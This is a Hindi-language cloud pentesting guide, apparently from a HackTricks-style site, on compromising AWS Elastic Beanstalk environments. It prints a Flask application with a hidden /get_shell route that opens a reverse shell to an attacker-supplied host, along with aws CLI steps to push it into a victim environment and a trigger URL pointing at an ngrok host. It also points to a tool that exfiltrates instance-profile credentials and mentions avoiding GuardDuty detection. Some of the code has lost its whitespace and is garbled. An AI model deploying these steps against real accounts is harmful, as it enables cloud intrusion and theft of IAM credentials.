Beanstalk में संवेदनशील क्रियाएँ करने के लिए आपको कई विभिन्न सेवाओं में बहुत सारी संवेदनशील अनुमतियाँ होनी चाहिए। आप उदाहरण के लिए arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk को दी गई अनुमतियों की जांच कर सकते हैं।
elasticbeanstalk:RebuildEnvironment, S3 लिखने की अनुमतियाँ और कई अन्य
पर्यावरण के कोड को रखने वाले S3 बकेट पर लिखने की अनुमतियों और एप्लिकेशन को पुनर्निर्माण करने की अनुमतियों (इसके लिए elasticbeanstalk:RebuildEnvironment और S3, EC2 और Cloudformation से संबंधित कुछ और की आवश्यकता है) के साथ, आप कोड को संशोधित कर सकते हैं, ऐप को पुनर्निर्माण कर सकते हैं और अगली बार जब आप ऐप तक पहुँचेंगे, तो यह आपके नए कोड को निष्पादित करेगा, जिससे हमलावर को एप्लिकेशन और इसके IAM भूमिका क्रेडेंशियल्स को समझौता करने की अनुमति मिलती है।
सबसे पहले, आपको पीड़ित में चलाने के लिए कोड के साथ एक वैध Beanstalk वातावरण बनाना होगा, जो पिछले चरणों का पालन करता है। संभावित रूप से इन 2 फ़ाइलों को शामिल करने वाला एक साधारण ज़िप:
from flask import Flask, request, jsonifyimport subprocess,os, socketapplication =Flask(__name__)@application.errorhandler(404)defpage_not_found(e):returnjsonify('404')@application.route("/")defindex():returnjsonify('Welcome!')@application.route("/get_shell")defsearch():host=request.args.get('host')port=request.args.get('port')if host and port:s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((host,int(port)))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"])returnjsonify('done')if__name__=="__main__":application.run()
एक बार जब आपके पास अपना खुद का Beanstalk env चल रहा हो आपका rev shell, तो इसे शिकार के env में स्थानांतरित करने का समय है। ऐसा करने के लिए आपको अपने beanstalk S3 बकेट की Bucket Policy को अपडेट करना होगा ताकि शिकार इसे एक्सेस कर सके (ध्यान दें कि इससे Bucketसभी के लिएखुल जाएगी):
# Use a new --version-label# Use the bucket from your own accountaws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"
# These step needs the extra permissionsawselasticbeanstalkupdate-environment--environment-nameMyEnv--version-labelMyApp-1.0# To get your rev shell just access the exposed web URL with params such as:http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).
The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.